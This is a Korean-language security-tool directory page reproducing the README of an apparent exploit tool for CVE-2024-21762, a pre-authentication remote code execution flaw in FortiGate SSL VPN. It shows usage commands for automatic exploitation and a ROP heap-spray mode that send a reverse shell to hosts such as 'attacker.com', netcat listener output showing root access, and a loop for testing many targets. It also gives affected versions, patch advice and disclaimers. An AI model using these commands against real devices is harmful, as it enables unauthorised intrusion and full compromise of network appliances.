Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-21762 — FortiGate SSL VPN에서 CVE-2024-21762 사전 인증 RCE를 탐지하고 악용하며, 기준 검증, 자동 악용, ROP 힙 스프레이 모드 및 리버스 셸을 포함합니다. | Kitploit
도구/GitHubGitHub/0x13-bytezer0/cve-2024-21762
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHub0x13-bytezer0/cve-2024-21762

CVE-2024-21762

FortiGate SSL VPN에서 CVE-2024-21762 사전 인증 RCE를 탐지하고 악용하며, 기준 검증, 자동 악용, ROP 힙 스프레이 모드 및 리버스 셸을 포함합니다.

저장소 보기
7개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-21762 - FortiGate SSL VPN RCE 탐지 및 익스플로잇 도구

Python 3.7+ License Vulnerability: Critical

CVE-2024-21762 - FortiGate SSL VPN의 심각한 취약점 탐지 및 익스플로잇 도구

⚠️ 법적 고지: 이 도구는 승인된 테스트 환경에서만 사용해야 합니다. 승인되지 않은 시스템에서의 사용은 불법이며 심각한 법적 결과를 초래할 수 있습니다.

개요

CVE-2024-21762는 FortiGate SSL VPN 구성 요소의 심각한 취약점으로, **사전 인증 원격 코드 실행(RCE)**을 허용합니다. 이 결함은 Transfer-Encoding chunked를 사용한 HTTP 요청의 취약한 파싱으로 인해 발생하며, sslvpnd 구성 요소에서 out-of-bounds 쓰기가 발생합니다.

기술 세부 사항

속성정보
CVE IDCVE-2024-21762
취약점 유형sslvpnd의 out-of-bounds 쓰기
유형사전 인증 원격 코드 실행(RCE)
CVSS 점수9.8 (Critical)
영향을 받는 구성 요소FortiOS SSL VPN
취약한 버전7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2

기능

✅ 취약점 탐지 - 변형된 요청을 통해 취약한 FortiGate 식별
✅ 기준 테스트 - 테스트 전 서버의 정상적인 동작 확인
✅ 자동 모드 - 취약점 탐지 및 자동 익스플로잇
✅ 리버스 셸 - IP/포트 설정이 가능한 bash 리버스 셸 지원
✅ 입력 검증 - 익스플로잇 전 IP 및 포트 검증
✅ 상세 보고서 - 완화 권장 사항이 포함된 보고서 생성
✅ 강력한 오류 처리 - 안전한 연결 및 예외 관리

요구 사항

  • Python 3.7 이상
  • Python 표준 라이브러리 모듈 (socket, ssl, argparse, datetime, time, re)
  • 대상에 대한 네트워크 접근 (포트 443 또는 사용자 지정)

설치

root@kitploit:~
# 저장소 클론
git clone https://github.com/사용자명/CVE-2024-21762.git
cd CVE-2024-21762

# 구문 확인
python -m py_compile EXPLOIT.py

# 스크립트 실행
python EXPLOIT.py -h

사용법

기본 사용법

root@kitploit:~
# 간단한 탐지 테스트
python EXPLOIT.py 192.168.1.100

# 사용자 지정 포트 사용
python EXPLOIT.py 192.168.1.100 -p 8443

# 타임아웃 증가
python EXPLOIT.py 192.168.1.100 --timeout 20

자동 모드 (탐지 + 익스플로잇)

root@kitploit:~
# 사전 구성된 리버스 셸을 사용한 자동 모드
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444

# 자격 증명 없이 자동 모드 (대화형으로 요청)
python EXPLOIT.py 192.168.1.100 --auto

ROP 모드 - 힙 스프레이를 사용한 고급 익스플로잇

ROP 모드는 특정 대상(FortiOS 7.4.2)에 대해 힙 스프레이를 사용한 2단계 익스플로잇을 구현합니다:

root@kitploit:~
# Node.js 리버스 셸을 사용한 ROP 익스플로잇
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242

# 사용자 지정 포트 사용
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242

# 느린 대상을 위한 타임아웃 증가
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30

ROP 익스플로잇 흐름:

  1. 1단계: ROP 가젯이 포함된 1.8MB 힙 스프레이 전송
  2. CPU 처리를 위해 2초 대기
  3. 2단계: 4137바이트 청크로 OOB 쓰기 트리거
  4. 페이로드 실행을 위해 3초 대기
  5. Node.js 역방향 연결 설정

리스닝 서버에서:

root@kitploit:~
# Linux/Mac/Windows netcat 사용
nc -lnvp 4242

# 예상 출력:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)

⚠️ 중요 참고: ROP 모드는 FortiOS 7.4.2.F-build2571에 최적화되어 있습니다. ROP 체인의 하드코딩된 오프셋으로 인해 다른 버전에서는 작동하지 않을 수 있습니다.

리버스 셸을 사용한 수동 테스트

root@kitploit:~
# 리버스 셸 페이로드 전송
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999

# 여러 옵션 조합
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15

사용 가능한 옵션

root@kitploit:~
positional arguments:
  target                    테스트할 대상 호스트 이름 또는 IP

optional arguments:
  -h, --help               이 도움말 메시지 표시
  -t, --target HOSTNAME    대상 호스트 이름 또는 IP (대체)
  -p, --port PORT          SSL VPN 포트 (기본값: 443)
  --timeout SECONDS        타임아웃(초) (기본값: 10)
  -li, --lhost IP          리버스 셸을 수신할 로컬 IP
  -lp, --lport PORT        리버스 셸을 수신할 로컬 포트
  --no-baseline            기준 테스트 건너뛰기
  --auto                   자동 모드: 탐지 및 익스플로잇
  --rop                    ROP 모드: 힙 스프레이를 사용한 고급 익스플로잇 (FortiOS 7.4.2)
  -v, --version            스크립트 버전 표시

전체 사용 예제

1. 간단한 탐지

root@kitploit:~
python EXPLOIT.py 192.168.1.100

취약한 경우 예상 결과:

root@kitploit:~
[+] 취약점 테스트 시작...
[!] 취약점 탐지됨!
[!] 서버가 갑자기 연결을 종료했습니다
[!] 상태: 취약함

2. 리버스 셸을 사용한 자동 익스플로잇

root@kitploit:~
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444

서버에서:

root@kitploit:~
# Linux/Mac
nc -lnvp 4444

# Windows
ncat -lnvp 4444

3. 여러 대상 테스트

root@kitploit:~
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
  python EXPLOIT.py $target --timeout 15
done

작동 방식

탐지 흐름

  1. 기준 테스트 - 정상 HTTP 요청을 보내 기본 동작 확인
  2. 변형 요청 - 취약한 chunked encoding을 사용한 변형 HTTP 요청 전송
  3. 분석 - 응답을 분석하여 취약점 징후 탐지:
    • 갑작스러운 연결 종료
    • 서버 타임아웃/크래시
    • 비정상적인 TLS 알림
  4. 보고서 - 상태 및 권장 사항이 포함된 보고서 생성

익스플로잇 흐름 (자동 모드)

  1. 탐지 테스트 실행
  2. 취약한 경우 리버스 셸 페이로드 주입
  3. 역방향 연결 대기
  4. 최종 보고서 생성

취약점 지표

이 도구는 다음 동작 중 하나가 감지되면 대상을 취약한 것으로 간주합니다:

  • ✓ 연결이 갑자기 종료됨 (빈 응답)
  • ✓ 페이로드 전송 후 타임아웃 (서버 크래시)
  • ✓ TLS 알림 수신 (sslvpnd 충돌)
  • ✓ 연결 재설정 (Connection Reset by Peer)

영향을 받는 버전

완화

즉시 조치

  1. FortiOS를 수정된 버전으로 업데이트:

    • FortiOS 7.0.14+
    • FortiOS 7.2.7+
    • FortiOS 7.4.3+
  2. 임시 격리

    • SSL VPN에 대한 외부 접근 비활성화
    • 관리 접근 제한
  3. 모니터링

    • 익스플로잇 징후에 대한 로그 검토
    • 비정상적인 자격 증명 및 접근 확인

사후 확인

root@kitploit:~
# FortiOS 버전 확인
python EXPLOIT.py your-fortinet.com

결과가 "취약하지 않음"으로 표시되면 패치가 성공적으로 적용된 것입니다.

프로젝트 구조

root@kitploit:~
CVE-2024-21762/
├── EXPLOIT.py          # 주요 익스플로잇 스크립트
├── README.md           # 이 파일
├── LICENSE             # MIT 라이선스
└── .gitignore          # Git 설정

클래스 메서드

CVE2024_21762_Detector

오류 처리

이 도구는 다음을 구현합니다:

  • ✓ 강력한 입력 검증
  • ✓ SSL/TLS 예외 처리
  • ✓ 연결 타임아웃
  • ✓ 안전한 소켓 종료
  • ✓ 설명적인 오류 메시지

제한 사항

  • ⚠️ 대상에 대한 네트워크 연결 필요
  • ⚠️ 취약점을 탐지하지만 항상 성공적인 익스플로잇을 보장하지는 않음
  • ⚠️ 리버스 셸은 대상 환경에 따라 다름 (bash 필요)
  • ⚠️ 제한적인 방화벽에서는 작동하지 않음

FAQ

Q: Windows 환경에서 사용할 수 있나요?
A: 예, Python 스크립트는 Windows에서 작동하지만 기본 bash 리버스 셸은 작동하지 않습니다. 사용자 정의 페이로드가 필요합니다.

Q: 익스플로잇이 성공했는지 어떻게 알 수 있나요?
A: 리버스 셸을 수신하는 머신(nc/ncat)을 확인하세요. 스크립트가 진행 상황을 나타내는 메시지를 표시합니다.

Q: 여러 대상을 대상으로 사용할 수 있나요?
A: 예, bash/PowerShell 스크립트를 만들어 IP 목록을 반복할 수 있습니다.

Q: 일반 모드와 자동 모드의 차이점은 무엇인가요?
A: 자동 모드는 취약점이 발견되면 자동으로 익스플로잇합니다. 일반 모드는 탐지만 수행합니다.

기여

버그를 발견하거나 제안 사항이 있으신가요? 이슈를 열거나 풀 리퀘스트를 보내주세요!

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

면책 조항

이 소프트웨어는 연구 및 승인된 테스트 목적으로 "있는 그대로" 제공됩니다. 저자는 다음에 대해 책임을 지지 않습니다:

  • 승인되지 않은 사용으로 인한 손해
  • 데이터 손실
  • 프로덕션 시스템에 미치는 영향
  • 승인되지 않은 사용의 법적 결과

승인된 환경에서만 책임감 있게 사용하십시오

참조

  • Fortinet 보안 권고
  • NVD - CVE-2024-21762
  • CVSS 계산기

저자

사이버 보안 교육 및 연구 목적으로 개발되었습니다.


⚠️ 명심하세요: 이 도구는 소유하거나 명시적으로 테스트 권한이 있는 시스템에서만 사용하십시오. 승인되지 않은 익스플로잇은 범죄입니다.

도구 다운로드
버전탐지ROP 모드상태
FortiOS 7.0.0 - 7.0.13✅ 지원❌ 미지원⚠️ 취약
FortiOS 7.2.0 - 7.2.6✅ 지원❌ 미지원⚠️ 취약
FortiOS 7.4.0 - 7.4.1✅ 지원❌ 미지원⚠️ 취약
FortiOS 7.4.2 (build≤2571)✅ 지원✅ 지원⚠️ 취약
FortiOS 7.4.3+❌ 미지원❌ 미지원✅ 수정됨
메서드설명
test_vulnerability()변형 요청을 보내 취약점 테스트
exploit(lhost, lport)리버스 셸로 취약점 익스플로잇
test_baseline()서버의 정상 동작 테스트
generate_report()상태가 포함된 최종 보고서 생성
_create_ssl_context()재사용 가능한 SSL 컨텍스트 생성
_create_socket_connection()안전한 TLS 연결 생성
_close_socket(sock)소켓을 안전하게 닫기
_is_valid_ip(ip_str)IP 형식 검증